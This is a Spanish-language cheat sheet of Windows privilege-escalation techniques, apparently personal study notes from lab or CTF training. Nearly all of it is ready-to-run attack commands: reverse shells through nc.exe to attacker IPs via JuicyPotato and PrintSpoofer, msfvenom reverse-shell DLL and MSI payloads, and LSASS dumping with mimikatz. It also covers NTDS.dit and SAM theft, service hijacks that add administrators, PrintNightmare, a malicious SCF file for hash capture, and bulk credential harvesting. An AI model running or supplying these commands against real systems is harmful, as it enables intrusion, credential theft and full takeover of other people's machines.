hackalex
EN
Menú

24 - Escalada en Windows

Apunte técnico

Conociendo el terreno

powershell
ipconfig /all; arp -a; route print
Get-MpComputerStatus                       # Windows Defender
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Enumeración Inicial

powershell
systeminfo; cmdkey /list; wmic qfe; tasklist /svc; netstat -ano; set
net user; net localgroup Administrators; query user
whoami /priv; whoami /groups; net accounts
Get-HotFix

Privilegios de Usuario

SeImpersonate / SeAssignPrimaryToken

bash
# JuicyPotato.\JuicyPotato.exe -t * -c "{5B3E6773-...}" -p "C:\Windows\System32\cmd.exe" -l 1111 -a "/c C:\Temp\nc.exe -e powershell 10.10.15.229 443"# PrintSpoofer.\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

SeDebugPrivilege

terminal
procdump.exe -accepteula -ma lsass.exe lsass.dmp# mimikatzsekurlsa::minidump lsass.dmpsekurlsa::logonpasswords

SeTakeOwnerPrivilege

powershell
Import-Module .\Enable-Privilege.ps1; .\EnableAllTokenPrivs.ps1
takeown /F <file>
icacls <file> /grant <username>:F

Grupos Privilegiados

Backup Operators (SeBackup/SeRestore)

powershell
Import-Module .\SeBackupPrivilegeCmdLets.dll; Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege 'C:\Confidential\x.txt' .\x.txt
# Ataque a DC: copiar NTDS.dit con diskshadow
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
# o robocopy /B E:\Windows\NTDS .\ntds ntds.dit

DnsAdmins

terminal
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o rev.dlldnscmd.exe /config /serverlevelplugindll rev.dllsc.exe stop dns && sc.exe start dns

Server Operators

terminal
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"sc start AppReadinesssecretsdump.py server_adm@10.129.43.9 -just-dc-user administrator

Print Operators (SeLoadDriverPrivilege)

Cargar driver vulnerable (Capcom.sys) y explotar con ExploitCapcom.exe.

Atacando el SO

UAC Bypass

terminal
REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA[environment]::OSVersion.Version   # elegir método de UACME

Permisos débiles (binarios/servicios)

terminal
.\SharpUp.exe auditicacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"# Si Everyone/Users (F): sobrescribir con payload msfvenom y sc start# Servicios con ACL débil:accesschk.exe /accepteula -quvcw WindscribeServicesc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"# Unquoted service path:wmic service get name,pathname | findstr /i /v "c:\windows\\"# Registro:accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services

Exploits de Kernel

terminal
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix(s)"
  • PrintNightmare (CVE-2021-34527): Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd
  • HiveNightmare (CVE-2021-36934): .\HiveNightmare.exe + secretsdump.
  • CVE-2020-0668 (arbitrary file move).

Obtención de Credenciales

terminal
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xmlgc (Get-PSReadLineOption).HistorySavePath                 # historial PowerShellGet-ChildItem -Path C:\ -Force -Recurse -Include *pass*.txt,*cred*.xml -EA SilentlyContinuesnaffler.exe -s
  • cmdkey: cmdkey /list
  • Chrome: .\SharpChrome.exe logins /unprotect
  • KeePass: keepass2john x.kdbx + hashcat -m 13400
  • LaZagne: .\lazagne.exe all
  • SessionGopher: Invoke-SessionGopher -Target hostname
  • AutoLogon: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
  • Wi-Fi: netsh wlan show profile "Red" key=clear

Técnicas adicionales

Capturar hashes (SCF/LNK malicioso)

ini
[Shell]
Command=2
IconFile=\\<ip_mia>\share\legit.ico
[Taskbar]
Command=ToggleDesktop
terminal
sudo responder -I tun0$ hashcat -m 5600 hash rockyou.txt

AlwaysInstallElevated (MSI como SYSTEM)

terminal
reg query HKLM\Software\Policies\Microsoft\Windows\Installer   # 0x1 = vulnerable$ msfvenom -p windows/shell_reverse_tcp lhost=<IP> lport=<PORT> -f msi > aie.msimsiexec /i C:\ruta\aie.msi /quiet /qn /norestart

Pillaging

mRemoteNG (%APPDATA%\mRemoteNG\confCons.xml + mremoteng_decrypt.py), cookies de navegadores, clipboard (Invoke-ClipboardLogger), backups con Restic, montar VHD/VMDK (guestmount) para extraer SAM/SYSTEM.

End Of Life Windows

terminal
python2.7 windows-exploit-suggester.py --update# sherlock.ps1, Local Exploit Suggester (metasploit)# Windows 7: MS16-032